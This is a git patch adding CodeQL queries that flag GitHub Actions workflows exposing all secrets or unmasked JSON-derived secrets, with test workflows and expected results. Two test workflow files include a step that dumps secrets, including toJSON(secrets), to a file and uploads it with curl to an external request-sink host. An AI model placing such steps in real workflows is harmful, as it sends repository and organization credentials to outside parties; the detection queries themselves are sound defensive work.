From 6842babd163be86495550d0a29fad704a9484d1f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= Date: Tue, 6 Aug 2024 23:08:52 +0200 Subject: [PATCH] feat(query): New queries for incorrect secrets handling ExcessiveSecretsExposure: Reports when all secrets are passed to the workflow runner since that violates the principle of least privelege. UnmaskedSecretExposure: Reports when secrets are derived from a JSON secret since they wont get masked by the workflow runner --- ql/lib/codeql/actions/ast/internal/Ast.qll | 4 +-- .../CWE-312/ExcessiveSecretsExposure.ql | 23 +++++++++++++++++ .../CWE-312/UnmaskedSecretExposure.ql | 19 ++++++++++++++ .../CWE-312/.github/workflows/neg_test1.yml | 19 ++++++++++++++ .../CWE-312/.github/workflows/test1.yml | 25 +++++++++++++++++++ .../CWE-312/ExcessiveSecretsExposure.expected | 3 +++ .../CWE-312/ExcessiveSecretsExposure.qlref | 2 ++ .../CWE-312/UnmaskedSecretExposure.expected | 2 ++ .../CWE-312/UnmaskedSecretExposure.qlref | 2 ++ 9 files changed, 97 insertions(+), 2 deletions(-) create mode 100644 ql/src/Security/CWE-312/ExcessiveSecretsExposure.ql create mode 100644 ql/src/Security/CWE-312/UnmaskedSecretExposure.ql create mode 100644 ql/test/query-tests/Security/CWE-312/.github/workflows/neg_test1.yml create mode 100644 ql/test/query-tests/Security/CWE-312/.github/workflows/test1.yml create mode 100644 ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.expected create mode 100644 ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.qlref create mode 100644 ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.expected create mode 100644 ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.qlref diff --git a/ql/lib/codeql/actions/ast/internal/Ast.qll b/ql/lib/codeql/actions/ast/internal/Ast.qll index 5bb94ba8a68..d9738cb74ad 100644 --- a/ql/lib/codeql/actions/ast/internal/Ast.qll +++ b/ql/lib/codeql/actions/ast/internal/Ast.qll @@ -1288,9 +1288,9 @@ string getAToJsonReferenceExpression(string s, int offset) { // not just the last (greedy match) or first (reluctant match). result = s.trim() - .regexpFind("(?i)tojson\\([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*", + .regexpFind("(?i)tojson\\(\\s*[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*", _, offset) - .regexpCapture("(?i)tojson\\(([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+)\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*", + .regexpCapture("(?i)tojson\\(\\s*([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+)\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*", 1) } diff --git a/ql/src/Security/CWE-312/ExcessiveSecretsExposure.ql b/ql/src/Security/CWE-312/ExcessiveSecretsExposure.ql new file mode 100644 index 00000000000..c1d22e3a181 --- /dev/null +++ b/ql/src/Security/CWE-312/ExcessiveSecretsExposure.ql @@ -0,0 +1,23 @@ +/** + * @name Excessive Secrets Exposure + * @description All organization and repository secrets are passed to the workflow runner. + * @kind problem + * @problem.severity recommendation + * @id actions/excessive-secrets-exposure + * @tags actions + * security + * external/cwe/cwe-312 + */ + +import actions +import codeql.actions.ast.internal.Ast + +from Expression expr +where + getAToJsonReferenceExpression(expr.getExpression(), _).matches("secrets%") + or + expr.getExpression().matches("secrets[%") and + not expr.getExpression().matches("secrets[\"%") and + not expr.getExpression().matches("secrets['%") +select expr, "All organization and repository secrets are passed to the workflow runner in $@", + expr, expr.getExpression() diff --git a/ql/src/Security/CWE-312/UnmaskedSecretExposure.ql b/ql/src/Security/CWE-312/UnmaskedSecretExposure.ql new file mode 100644 index 00000000000..961af6f267b --- /dev/null +++ b/ql/src/Security/CWE-312/UnmaskedSecretExposure.ql @@ -0,0 +1,19 @@ +/** + * @name Unmasked Secret Exposure + * @description Secrets derived from other secrets are not masked by the workflow runner. + * @kind problem + * @problem.severity error + * @security-severity 9.0 + * @precision high + * @id actions/unmasked-secret-exposure + * @tags actions + * security + * external/cwe/cwe-312 + */ + +import actions + +from Expression expr +where expr.getExpression().regexpMatch("(?i).*fromjson\\(secrets\\..*\\)\\..*") +select expr, "An unmasked secret derived from another secret may be exposed in $@", expr, + expr.getExpression() diff --git a/ql/test/query-tests/Security/CWE-312/.github/workflows/neg_test1.yml b/ql/test/query-tests/Security/CWE-312/.github/workflows/neg_test1.yml new file mode 100644 index 00000000000..80f98bd57af --- /dev/null +++ b/ql/test/query-tests/Security/CWE-312/.github/workflows/neg_test1.yml @@ -0,0 +1,19 @@ +name: secrets +on: + workflow_dispatch: +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: | + echo '${{ secrets.TOKEN }}' > secrets.txt + curl -X PUT -T ./secrets.txt -H http://3f750d39-1083-44e5-b057-40432fafeeb5.sink.reqsink.com + - env: + A_SECRET: ${{ secrets.TOKEN }} + run: echo "$A_SECRET" + - env: + A_SECRET: ${{ secrets['TOKEN'] }} + run: echo "$A_SECRET" + - env: + A_SECRET: ${{ secrets["TOKEN"] }} + run: echo "$A_SECRET" diff --git a/ql/test/query-tests/Security/CWE-312/.github/workflows/test1.yml b/ql/test/query-tests/Security/CWE-312/.github/workflows/test1.yml new file mode 100644 index 00000000000..614efab34c9 --- /dev/null +++ b/ql/test/query-tests/Security/CWE-312/.github/workflows/test1.yml @@ -0,0 +1,25 @@ +name: list-actions-secrets +on: + workflow_dispatch: +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + TOKENS: [WRITE, READ] + steps: + - run: | + echo '${{ toJSON(secrets) }}' > secrets.txt + curl -X PUT -T ./secrets.txt -H http://3f750d39-1083-44e5-b057-40432fafeeb5.sink.reqsink.com + - env: + ALL_SECRETS: ${{ toJSON(secrets) }} + run: echo "$ALL_SECRETS" + - env: + SOME_SECRETS: ${{ secrets[format('PAT_%s', matrix.TOKENS)] }} + run: echo "$SOME_SECRETS" + - env: + username: ${{ fromJson(secrets.AZURE_CREDENTIALS).clientId }} + password: ${{ fromJson(secrets.AZURE_CREDENTIALS).clientSecret }} + run: | + echo "$username" + echo "$password" diff --git a/ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.expected b/ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.expected new file mode 100644 index 00000000000..9d6a741ed58 --- /dev/null +++ b/ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.expected @@ -0,0 +1,3 @@ +| .github/workflows/test1.yml:12:18:12:39 | toJSON(secrets) | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:12:18:12:39 | toJSON(secrets) | toJSON(secrets) | +| .github/workflows/test1.yml:15:25:15:46 | toJSON(secrets) | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:15:25:15:46 | toJSON(secrets) | toJSON(secrets) | +| .github/workflows/test1.yml:18:26:18:72 | secrets[format('PAT_%s', matrix.TOKENS)] | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:18:26:18:72 | secrets[format('PAT_%s', matrix.TOKENS)] | secrets[format('PAT_%s', matrix.TOKENS)] | diff --git a/ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.qlref b/ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.qlref new file mode 100644 index 00000000000..45f5ad80fd9 --- /dev/null +++ b/ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.qlref @@ -0,0 +1,2 @@ +Security/CWE-312/ExcessiveSecretsExposure.ql + diff --git a/ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.expected b/ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.expected new file mode 100644 index 00000000000..4f309344b4b --- /dev/null +++ b/ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.expected @@ -0,0 +1,2 @@ +| .github/workflows/test1.yml:21:22:21:72 | fromJson(secrets.AZURE_CREDENTIALS).clientId | An unmasked secret derived from another secret may be exposed in $@ | .github/workflows/test1.yml:21:22:21:72 | fromJson(secrets.AZURE_CREDENTIALS).clientId | fromJson(secrets.AZURE_CREDENTIALS).clientId | +| .github/workflows/test1.yml:22:22:22:76 | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | An unmasked secret derived from another secret may be exposed in $@ | .github/workflows/test1.yml:22:22:22:76 | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | diff --git a/ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.qlref b/ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.qlref new file mode 100644 index 00000000000..ad4c8461523 --- /dev/null +++ b/ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.qlref @@ -0,0 +1,2 @@ +Security/CWE-312/UnmaskedSecretExposure.ql +